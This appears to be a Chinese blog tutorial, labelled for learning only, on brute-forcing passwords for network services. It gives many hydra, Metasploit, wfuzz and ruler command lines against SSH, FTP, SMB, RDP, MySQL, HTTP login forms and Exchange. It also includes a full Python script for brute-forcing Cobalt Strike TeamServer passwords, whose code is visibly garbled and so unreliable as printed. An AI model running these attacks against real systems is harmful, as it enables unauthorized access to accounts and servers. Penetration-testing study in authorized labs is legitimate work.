• Web安全——穷举爆破下篇(仅供学习)


    一、常见的端口服务穷举

    1、hydra 密码穷举工具的使用

    hydra 是一个端口穷举服务器的工具

    adam6500 asterisk cisco cisco-enable cvs firebird ftp[s]
    http[s]-{head|get|post} http[s]-{get|post}-form http-proxy
    http-proxy-urlenum icq imap[s] irc ldap2[s]
    ldap3[-{cram|digest}md5][s] memcached mongodb mssql mysql nntp
    oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2
    rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s]
    smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc
    xmpp

    使用例子

    hydra -l user -P passlist.txt ftp://192.168.0.1
    hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
    hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5 hydra -l admin -p password ftp://[192.168.0.0/24]/
    hydra -L logins.txt -P pws.txt -M targets.txt ssh
    
    • 1
    • 2
    • 3
    • 4

    常用参数说明

    hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
    [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]
    server service [OPT]
    
    • 1
    • 2
    • 3

    -R
    继续从上一次进度接着破解
    -S
    大写,采用 SSL 链接
    -s
    小写,可通过这个参数指定非默认端口
    -l
    指定破解的用户,对特定用户破解
    -L
    指定用户名字典
    -p
    小写,指定密码破解,少用,一般是采用密码字典
    -P
    大写,指定密码字典
    -e
    可选选项,n:空密码试探,s:使用指定用户和密码试探
    -C
    使用冒号分割格式,例如“登录名:密码”来代替-L/-P 参数
    -M
    指定目标列表文件一行一条
    -o
    指定结果输出文件
    -f
    在使用-M 参数以后,找到第一对登录名或者密码的时候中止破解
    -t
    同时运行的线程数,默认为 16
    -w
    设置最大超时的时间,单位秒,默认是 30s
    -v / -V
    显示详细过程
    server
    目标 ip
    service
    指定服务名,支持的服务和协议:

    telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get}
    http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3
    mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs
    snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak
    sip vmauthd firebird ncp afp 等等

    OPT
    可选项

    2、使用 hydra 穷举 ssh 服务

    -L 用户字典文件 -P 密码字典文件 -t 线程数 -vV 详细信息 -e ns 使用空口令使用指定用户和密码试探 192.168.1.104 你要穷举的 ip ssh 是服务 -o 保存文件
    -f 如果找到马上中断扫描
    hydra -L users.txt -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh -o ssh.txt -f ssh://192.168.1.104
    192.168.1.104 ssh
    -l 指定用户

    hydra -l root -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh -o ssh.txt -f
    hydra -l root -P 2019_top100.txt 192.168.52.13 ssh -vV -f
    
    • 1
    • 2

    在这里插入图片描述

    3、使用 hydra 穷举 ftp 服务

    hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认 16) -vV 
    hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV
    hydra -l c5moon -P 2019_top100.txt 192.168.52.6 ftp -vV -f
    
    • 1
    • 2
    • 3

    在这里插入图片描述

    4、使用 hydra 穷举 mysql 服务

    hydra ip mysql -l 用户名 -P 密码字典 -t 线程(默认 16) -vV 
    hydra ip mysql -l 用户名 -P 密码字典 -e ns -vV
    hydra ip mysql -l 用户名 -P 密码字典 -e ns -vV -s 端口
    
    • 1
    • 2
    • 3

    5、使用 hydra 穷举 smb 服务

    hydra -l administrator -P 2019_top100.txt 192.168.52.6 smb -vV -f
    
    • 1

    在这里插入图片描述
    在这里插入图片描述

    6、使用 hydra 穷举 http 服务

    hydra -l admin -P 2019_top100.txt -vV -f www.c1moon.com http-post-form "/admin/index.php:user=^USER^&ps=^PASS^&action=login:login-error"
    
    • 1

    在这里插入图片描述

    7、使用 hydra 穷举 pop3 服务

    hydra -L user.txt -P qweasd123 192.168.52.6 smtp-vV -f
    
    • 1

    8、使用 hydra 穷举 rdp 服务

    hydra ip rdp -l administrator -P pass.txt -V
    
    • 1

    9、使用 hydra 穷举 http-proxy 服务

    hydra -l admin -P pass.txt http-proxy://10.36.16.18
    
    • 1

    10、使用 hydra 穷举 imap 服务

    hydra -L user.txt -p secret 10.36.16.18 imap PLAIN
    hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN
    
    • 1
    • 2

    11、使用 hydra 穷举 telnet 服务

    hydra ip telnet -l  用户 -P 密码字典 -t 32 -s 23 -e ns -f -V
    
    • 1

    在这里插入图片描述

    二、xhydra 穷举工具破解各种服务

    xhydra 是 hydra 的可视化工具 使用简单方便快捷。终端输入 xhydra 即可使用。
    使用 hydra 破解 rdp 服务
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    在这里插入图片描述

    在这里插入图片描述
    在这里插入图片描述

    三、metasploit 穷举模块的使用

    metasploit 是一个渗透测试集成套件 同样也有穷举模块

    auxiliary/scanner/ftp/ftp_login 
    auxiliary/scanner/ssh/ssh_login 
    auxiliary/scanner/telnet/telnet_login 
    auxiliary/scanner/smb/smb_login
    auxiliary/scanner/mssql/mssql_login 
    auxiliary/scanner/mysql/mysql_login 
    auxiliary/scanner/oracle/oracle_login 
    auxiliary/scanner/postgres/postgres_login 
    auxiliary/scanner/vnc/vnc_login 
    auxiliary/scanner/pcanywhere/pcanywhere_login 
    auxiliary/scanner/snmp/snmp_login
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    模块的用法
    首先启动在终端下启动 msfconsole use 使用 ssh_login 模块
    在这里插入图片描述
    在这里插入图片描述

    use auxiliary/scanner/ssh/ssh_login
    show options 查看模块的参数
    在这里插入图片描述

    RHOSTS 攻击的目标
    PASS_FILE 密码字典STOP_ON_SUCCESS 成功破解一个终止THREADS 线程数
    
    • 1
    • 2

    set 设置参数

    msf5 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /home/kali/2019_top100.txt PASS_FILE => /home/kali/2019_top100.txt
    msf5 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.52.13 RHOSTS => 192.168.52.13
    msf5 auxiliary(scanner/ssh/ssh_login) > set STOP_ON_SUCCESS true STOP_ON_SUCCESS => true
    msf5 auxiliary(scanner/ssh/ssh_login) > set USERNAME root USERNAME => root
    msf5 auxiliary(scanner/ssh/ssh_login) > show options
    
    • 1
    • 2
    • 3
    • 4
    • 5

    设置好后用 run 或者 exploit 进行攻击
    在这里插入图片描述
    在这里插入图片描述

    四、御剑 RDP 爆破工具的使用

    在这里插入图片描述

    五、wfuzz 多线程穷举密码

    Usage: wfuzz [options] -z payload,params <url> 
    Examples:
    wfuzz -c -z file,users.txt -z file,pass.txt --sc 200 http://www.site.com/log.asp?user=FUZZ&pass=FUZ2Z 
    wfuzz -c -z range,1-10 --hc=BBB http://www.site.com/FUZZ{something not there}
    wfuzz --script=robots -z list,robots.txt http://www.webscantest.com/FUZZ
    wfuzz -c -z file,2019_top100.txt --sc 302 -u http://www.c1moon.com/admin/index.php?action=login -d "user=admin&pw=FUZZ"
    wfuzz -c -z file,2019_top100.txt --hc 404 --hh 1549 -u http://www.c1moon.com/admin/index.php?action=login -d "user=admin&pw=FUZZ"
    wfuzz -c -w	/home/kali/csdnpass.txt --hc 404 --hh 1549 -u http://www.c1moon.com/admin/index.php?action=login -d "user=admin&pw=FUZZ"
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    在这里插入图片描述
    在这里插入图片描述

    六、邮箱密码的穷举

    默认的收发邮件端口信息发邮件 pop3 110 加密 995
    收邮件 smtp 25 加密 465

    1、企业独立搭建的邮服 用 MailCracker 进行破解

    在这里插入图片描述

    2、针对 163 qq 这些邮箱用 mail 脚本进行穷举

    像 163 qq 这些邮箱 并发会拦截,而且不能穷举太多。一般配合社工办法来穷举。
    在这里插入图片描述

    七、CobaltStrike TeamServer 口令暴力破解

    在这里插入图片描述
    Cobalt Strike 是一款超级好用的渗透测试工具,拥有多种协议主机上线方式,集成了提权,凭据导出,端口转发,socket 代理,office 攻击,文件捆绑,钓鱼等多种功能。同时,Cobalt Strike 还可以调用Mimikatz 等其他知名工具,因此广受技术大佬的喜爱。Cobalt Strike 是一款超级好用的渗透测试工具,拥有多种协议主机上线方式,集成了提权,凭据导出,端口转发,socket 代理,office 攻击, 文件捆绑,钓鱼等多种功能。同时,Cobalt Strike 还可以调用Mimikatz 等其他知名工具,因此广受技术大佬的喜爱。
    Cobalt Strike 是由美国 Red Team 开发,官网地址: http://cobaltstrike.com
    这个工具的社区版是大家熟知的 Armitage(一个 MSF 的图形化界面工具),而Cobalt Strike 大家可以理解其为 Armitage 的商业版。
    TeamServer 口令暴力破解
    然而今天我们并不是介绍和讲解 Cobalt Strike,而是关于 Cobalt Strike 的口令暴力破解,众所周知 Cobalt Strike 的工作方式是以TeamServer 为核心,可多个 Cilent 的 CS(Server Cilent)架构。
    启动 teamserver
    sudo ./teamserver 192.168.0.102 123456
    启动 temaerver 之后可以通过客户端连接连接服务器 默认的端口是 50050 密码是 123456 即可登录。
    如果把 teamserver 放在公网上,口令设置薄弱 可以通过对其穷举有一定的几率获取 teamserver 的权限,那么服务器里的被成功控制的机器,我们也可以对其控制。所以说危害是非常大的。

    使用 csbuster.py 对 50050 端口进行密码穷举

    #!/usr/bin/env python3
    # -*- coding:gbk -*- import time
    import socket 
    import ssl 
    import argparse
    import concurrent.futures 
    import sys
    # csbrute.py - Cobalt Strike Team Server Password Brute Forcer
    #
    https://stackoverflow.com/questions/6224736/how-to-write-python-code-that-is-able-t o-properly-require-a-minimal-python-versi
    
    MIN_PYTHON = (3, 3)
    if sys.version_info < MIN_PYTHON:
    	sys.exit("Python %s.%s or later is required.\n" % MIN_PYTHON) 
    	parser = argparse.ArgumentParser()
    	parser.add_argument("host",
    		help="Teamserver address") 	
    	parser.add_argument("wordlist", nargs="?",
    		help="Newline-delimited word list file") 
    	parser.add_argument("-p", dest="port", default=50050, type=int,
    		help="Teamserver port") 
    	parser.add_argument("-t",dest="threads", default=25, type=int,
    		help="Concurrency level") 
    		
    args = parser.parse_args()
    
    #
    https://stackoverflow.com/questions/27679890/how-to-handle-ssl-connections-in-raw- python-socket
    
    class NotConnectedException(Exception):
    	def init (self, message=None, node=None): 
    	self.message = message
    	self.node = node
    
    class DisconnectedException(Exception):
    	def init (self, message=None, node=None): 
    	self.message = message
    	self.node = node
    
    class Connector:
    	def init (self): 
    	self.sock = None 
    	self.ssl_sock = None
    	self.ctx = ssl.SSLContext() 		
    	self.ctx.verify_mode = ssl.CERT_NONE 
    	pass
    
    	def is_connected(self):
    		return self.sock and self.ssl_sock
    
    	def open(self, hostname, port):
    		self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    		self.sock.settimeout(10)
    		self.ssl_sock = self.ctx.wrap_socket(self.sock)
     
    		if hostname == socket.gethostname():
    			ipaddress = socket.gethostbyname_ex(hostname)[2][0] 
    			self.ssl_sock.connect((ipaddress, port))
    		else:
    			self.ssl_sock.connect((hostname, port))
    
    
    	def close(self):
    		if self.sock:
    			self.sock.close() 
    		self.sock = None 	
    		self.ssl_sock = None
    
    	def send(self, buffer):
    		if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)")
    		self.ssl_sock.sendall(buffer)
    
    	def receive(self):
    		if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)")
    		received_size = 0 
    		data_buffer = b""
    
    		while received_size < 4:
    			data_in = self.ssl_sock.recv() data_buffer = 			
    			data_buffer + data_in 		
    			received_size += len(data_in)
    
    		return data_buffer
    
    	def passwordcheck(password): 
    		if len(password) > 0:
    			result = None
     			conn = Connector() 			
     			conn.open(args.host, args.port)
    			payload	=	bytearray(b"\x00\x00\xbe\xef")	+	len(password).to_bytes(1, "big", signed=True) + bytes(
    				bytes(password, "ascii").ljust(256, b"A")) 		
    			conn.send(payload)
    			if conn.is_connected(): result = conn.receive() 
    			if conn.is_connected(): conn.close()
    			if result == bytearray(b"\x00\x00\xca\xfe"): 
    				return password
    			else:
    				return False
     		else
     			print("Ignored blank password") 
     	passwords = []
    	if args.wordlist:
    		print("Wordlist: {}".format(args.wordlist)) 
    		passwords = open(args.wordlist).read().split("\n")	
    	else:
     		print("Wordlist: {}".format("stdin")) 
     		for line in sys.stdin:
    			passwords.append(line.rstrip())
    	if len(passwords) > 0:
    		print("Word Count: {}".format(len(passwords))) 		
    		print("Threads: {}".format(args.threads))
    
    		start = time.time()
    		# https://stackoverflow.com/questions/2846653/how-to-use-threading-in-python
     
    		attempts = 0
    		failures = 0
    		with	concurrent.futures.ThreadPoolExecutor(max_workers=args.threads)	as executor:
    			future_to_check = {executor.submit(passwordcheck, password): password for password in passwords}
    			for future in concurrent.futures.as_completed(future_to_check): 
    				password = future_to_check[future]
    				try:
    					data = future.result() 
    					attempts = attempts + 1 
    					if data:
    						print("Found Password: {}".format(password)) 
    				except Exception as exc:
    					failures = failures + 1
    					print('%r generated an exception: %s' % (password, exc))
    
    	print("Attempts: {}".format(attempts)) 
    	print("Failures: {}".format(failures)) 
    	finish = time.time()
    	print("Seconds: {:.1f}".format(finish - start))
    	print("Attemps per second: {:.1f}".format((failures + attempts) / (finish - start)))
    	print("Password(s) required")
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109
    • 110
    • 111
    • 112
    • 113
    • 114
    • 115
    • 116
    • 117
    • 118
    • 119
    • 120
    • 121
    • 122
    • 123
    • 124
    • 125
    • 126
    • 127
    • 128
    • 129
    • 130
    • 131
    • 132
    • 133
    • 134
    • 135
    • 136
    python3 csbuster.py 192.168.0.102 /home/kali/top1000.txt -t 20
    
    • 1

    在这里插入图片描述
    https://www.moonsec.com/archives/3089

    八、对 apache-tomcat 服务进行穷举

    Apache Tomcat 是世界上使用最广泛的 Java Web 应用服务器之一,绝大数人都会使用 Tomcat 的默认配置。然而默认配置中会有一个向外网开放的 Web 应用管理器,管理员可以利用它在服务器中启动、停止、添加和删除应用。
    在这里插入图片描述
    在这里插入图片描述

    use scanner/http/tomcat_mgr_login set PASSWORD 设置密码字典
    set RPORT 8081 设置端口
    set RHOSTS 192.168.52.6
    exploit 攻击
    在这里插入图片描述

    在这里插入图片描述

    九、超级弱口令穷举使用

    在这里插入图片描述

    十、exchange 邮服穷举

    ruler -domain evilcorp.ninja -brute -usernames~/users.txt -passwords ~/passwords.txt -delay 0 -v -insecure

  • 相关阅读:
    安全测试概述和用例设计
    【Java】环境配置以及快速切换环境的技巧和方法
    ChatRule:基于知识图推理的大语言模型逻辑规则挖掘11.10
    40.Rsync远程同步及备份工具
    LVGL_基础控件timer
    html web前端,点击发送验证码,按钮60秒倒计时
    为什么要学Selenium自动化测试?
    基于GPT搭建私有知识库聊天机器人(四)问答实现
    窗口置顶工具v2.0.0
    HCIA使用DHCP配置eNSP,给路由器加权限并且加密
  • 原文地址:https://blog.csdn.net/weixin_63172698/article/details/132612483